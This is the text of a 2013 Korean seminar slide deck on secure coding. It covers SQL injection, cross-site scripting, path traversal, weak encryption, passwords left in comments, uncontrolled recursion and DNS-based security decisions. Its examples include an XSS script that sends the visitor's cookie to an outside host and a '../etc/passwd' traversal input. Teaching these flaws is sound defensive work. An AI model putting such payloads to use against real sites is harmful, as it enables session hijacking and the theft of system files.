소프트웨어 개발보안 설명 및 예시 ‘2013. 2. 20(수) 22:00 22-2기 배주진
개요 본인 소개 소프트웨어 개발보안 정의 및 세 미나 목적 소프트웨어 개발보안이 “왜?” 필 요한가 입력데이터 검증 및 표현 보안기능 시간 및 상태 API 오용 질의 응답
본인 소개 이름 : 배주진 나이 : 26살(88년생) 22-2기 멤버십 회원 건국대학교 07학번(3학년 복학예정) 수원 거주! 여행을 좋아하며, 활동적임!!
소프트웨어 개발보안 정의 및 세미나 목적 ‘소프트웨어 개발보안’의 정의 SW 개발과정에서 개발자 실수, 논리적 오류 등으로 인해 SW에 내포될 수 있 는 보안취약점의 원인을 최소화 하는 행위 사이버 보안위협에 대응할 수 있는 안전한 SW를 개발하기 위한 일련의 보 안 활동 세미나 목적 소프트웨어 개발보안을 이해하여, 보안약점이 최소화된 소스 코딩 잘 알려진 보안약점 뿐만 아니라, 추후에 발생할 수 있는 보안약점 예방
소프트웨어 개발보안이 “왜?” 필요한가 정보 시스템을 구축 할 경우, 취약점 발생 빈도를 보면 APPLICATION단에서 75% 기존 보안장비(f/w,IPS,보안패치)에서 25%가 있다. 따라서 개발보안을 적용시킬경우, 최소한의 보안장비를 구입 할 수 있어 개발보안만으로 최대 10배 가량의 비용 절감 효과가 있음. ‘12. 6월 행안부가 발표한 ‘정보시스템 구축/운영 지침(행안부고시 제2012-25호)’ 에 따라, 전자정부 관련 정보화사업 수행시 소프트웨어 개발보안을 의무화 하였음. 따라서 전자정보 관련 사업을 하거나, 공공기관 외주를 얻기위해 소프 트웨어 개발보안을 배우고 이해 하여야됨.
입력데이터 검증 및 표현 SQL 삽입 데이터베이스와 연동된 웹 어플리케이션에서 입력된 데이터에 대한 유효 성 검증을 하지 않을 경우, 공격자가 입력 폼 및 URL 입력란에 SQL 문을 삽입하여 DB로 부터 정보를 열 람하거나 조작할 수 있는 취약점을 말함.
입력데이터 검증 및 표현 SQL 삽입
입력데이터 검증 및 표현 크로스사이트 스크립트 검증되지 않은 외부 입력이 동적 웹페이지 생성에 사용될 경우, 동적 웹페이지 를 열람하는 접속자의 권한으로 부적절한 스크립트가 수행되어 정보유출 등 공격 방식. 예) <script>window.open("http://192.168.0.7/GetUsercookie.php?data="+document.cookie, "small", 'width=150, height=220')</script>
입력데이터 검증 및 표현 상대 디렉터리 경로 조작 외부 입력을 통하여 디렉터리 경로 문자열을 생성하는 경우, 결과 디렉터리가 제한된 디렉터리여야할때, 악의적인 외부입력을 제대로 변환시키지 않으면 예상 밖 영역의 경로 문자열 이 생성될 수 있음. 예) reportName이 ../../../../../../../etc/passwd와 같이 입력될경우 악의적인 사용자가 시스템의 ID 탈취 가능
입력데이터 검증 및 표현 상대 디렉터리 경로 조작
보안기능 취약한 암호화 알고리즘 사용 간단한 인코딩 함수 base64와 같은 지나치게 간단한 인코딩 함수를 사용하 지 않고, 3-DES, AES와 같은 암호화 알고리즘을 사용해야 된다. 자신만의 암호화 알고리즘을 개발하는 것은 위험하며, 학계 및 업계에서 이 미 검증된 표준화된 알고리즘을 사용
보안기능 주석문안에 포함된 패스워드 등 시스템 주요정보 패스워드를 주석문에 넣어두면 시스템 보안에 치명적일 수 있으므로 제거 필요.
시간 및 상태 제대로 제어되지 않은 재귀함수 호출 재귀의 순환횟수를 제어하지 못하여 할당된 메모리나 프로그램 스택 등의 자원을 과다하게 사용하면 해당 시스템이 자원고갈이 발생할 수 있으므로 일정시간안에 결과가 도출되지 않을경우 강제 종료를 해야한다.
시간 및 상태 제대로 제어되지 않은 재귀함수 호출 재귀의 순환횟수를 제어하지 못하여 할당된 메모리나 프로그램 스택 등의 자원을 과다하게 사용하면 해당 시스템이 자원고갈이 발생할 수 있으므로 일정시간안에 결과가 도출되지 않을경우 강제 종료를 해야한다.
API 오용 DNS lookup에 의존한 보안결정
API 오용 DNS lookup에 의존한 보안결정
질의 응답